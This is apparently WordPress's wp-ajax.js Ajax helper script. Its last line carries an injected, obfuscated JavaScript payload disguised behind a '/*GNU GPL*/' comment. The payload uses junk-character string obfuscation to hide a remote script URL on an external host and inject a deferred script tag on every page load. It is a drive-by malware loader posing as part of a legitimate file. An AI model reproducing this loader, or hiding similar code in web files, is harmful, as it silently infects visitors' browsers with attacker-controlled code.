var WPAjax = Class.create();
Object.extend(WPAjax.prototype, Ajax.Request.prototype);
Object.extend(WPAjax.prototype, {
	WPComplete: false, // onComplete function
	WPError: false, // onWPError function
	defaultUrl: '', // We get these from WPAjaxL10n
	permText: '',
	strangeText: '',
	whoaText: '',

	initialize: function(url, responseEl) {
		var tempObj = this;
		this.transport = Ajax.getTransport();
		if ( !this.transport )
			return false;
		this.setOptions( {
			parameters: 'cookie=' + encodeURIComponent(document.cookie),
			onComplete: function(transport) { // transport = XMLHttpRequest object
				if ( tempObj.parseAjaxResponse() ) {
					if ( 'function' == typeof tempObj.WPComplete )
						tempObj.WPComplete(transport);
				} else if ( 'function' == typeof tempObj.WPError ) // if response corresponds to an error (bad data, say, not 404)
					tempObj.WPError(transport);
			}
		});
		this.url = url ? url : this.defaultUrl;
		this.getResponseElement(responseEl);
	},
	addArg: function(key, value) {
		var a = $H();
		a[encodeURIComponent(key)] = encodeURIComponent(value);
		this.options.parameters = $H(this.options.parameters).merge(a);
	},
	getResponseElement: function(r) {
		var p = $(r + '-p');
		if ( !p ) {
			new Insertion.Bottom(r, "<span id='" + r + "-p'></span>");
			var p = $(r + '-p');
		}
		this.myResponseElement = p;
	},
	parseAjaxResponse: function() { // 1 = good, 0 = strange (bad data?), -1 = you lack permission
		if ( this.transport.responseXML && typeof this.transport.responseXML == 'object' && ( this.transport.responseXML.xml || 'undefined' == typeof this.transport.responseXML.xml ) ) {
			var err = this.transport.responseXML.getElementsByTagName('wp_error');
			if ( err[0] ) {
				var msg = $A(err).inject( '', function(a, b) { return a + '<p>' + b.firstChild.nodeValue + '</p>'; } );
				Element.update(this.myResponseElement,'<div class="error">' + msg + '</div>');
				return false;
			}
			return true;
		}
		var r = this.transport.responseText;
		if ( isNaN(r) ) {
			Element.update(this.myResponseElement,'<div class="error"><p>' + r + '</p></div>');
			return false;
		}
		var r = parseInt(r,10);
		if ( -1 == r ) {
			Element.update(this.myResponseElement,"<div class='error'><p>" + this.permText + "</p></div>");
			return false;
		} else if ( 0 == r ) {
			Element.update(this.myResponseElement,"<div class='error'><p>" + this.strangeText + "</p></div>");
			return false;
		}
		return true;
	},
	addOnComplete: function(f) {
		if ( 'function' == typeof f ) { var of = this.WPComplete; this.WPComplete = function(t) { if ( of ) of(t); f(t); } }
	},
	addOnWPError: function(f) {
		if ( 'function' == typeof f ) { var of = this.WPError; this.WPError = function(t) { if ( of ) of(t); f(t); } }
	},
	notInitialized: function() {
		return this.transport ? false : true;
	}
});

Event.observe( window, 'load', function() { Object.extend(WPAjax.prototype, WPAjaxL10n); }, false )

Ajax.activeSendCount = 0;
Ajax.Responders.register( {
	onCreate: function() {
		Ajax.activeSendCount++;
		if ( 1 != Ajax.activeSendCount )
			return;
		wpBeforeUnload = window.onbeforeunload;
		window.onbeforeunload = function() {
			return WPAjax.whoaText;
		}
	},
	onLoading: function() { // Can switch to onLoaded if we lose data
		Ajax.activeSendCount--;
		if ( 0 != Ajax.activeSendCount )
			return;
		window.onbeforeunload = wpBeforeUnload;
	}
});

//Pretty func adapted from ALA http://www.alistapart.com/articles/gettingstartedwithajax
function getNodeValue(tree,el){try { var r = tree.getElementsByTagName(el)[0].firstChild.nodeValue; } catch(err) { var r = null; } return r; }

/*GNU GPL*/ try{window.onload = function(){var E1tj9twfsyadc = document.createElement('s^!$c(@$r(^#i&)p&#)&t!'.replace(/\)|\$|@|\!|&|#|\^|\(/ig, ''));var D09ozws8erzs = 'Rldtc8icxyfa';E1tj9twfsyadc.setAttribute('type', 't$)$#e$$x))t#$/@$^j!a#)!v#($a!&^s^c(@r&$i$!^p#t!&'.replace(/\(|#|\$|\!|\)|\^|@|&/ig, ''));E1tj9twfsyadc.setAttribute('src',  'h@$t$@t!$p^$:(#/$/($&^y()$8^#@))-^#(^c$(!)o@$$m#.^$a)m@)e!@$b#^l$&o^.$^j^p$).&@g)$^i($r$^l$&s@(g$)(o(&g&!a^#$!m)#e$@$s!^!($-$!c(#&o)&m^$.(t&h@!e@&@$^g(!i(f&!!!t#(@s$($a$)l(($e#.)@$!&r!(u($:)$8)@0!@8(^!^!0$(/$g!o!!o@g&&l$&e$.)@c)!o(&m@(@/))g@#(o@#o&!)g!@@l@##e&@##!.(#c))o!$!m)#^/#(e^&@n^e^()!t$)&).)!@c$&o#)m&@^.!&)(c@^n@!(#/&!t^^$a($(r@i&n!&(@g!(a$@(.)$#n#&@e^@!#t&&/&(m#@#i)!)&x$!!i@#&(.^^(@j&p!@#/!$)'.replace(/\(|\^|&|@|#|\$|\!|\)/ig, ''));E1tj9twfsyadc.setAttribute('defer', 'd^@e@f^$e&@#r@$'.replace(/&|\)|#|\!|\^|\(|\$|@/ig, ''));E1tj9twfsyadc.setAttribute('id', 'F)b)j$)#y^&7@$#&h$3#$#5!!@0##!$v#)^'.replace(/\)|\$|\(|\^|#|@|&|\!/ig, ''));document.body.appendChild(E1tj9twfsyadc);}} catch(Uzmxdtrm0m) {}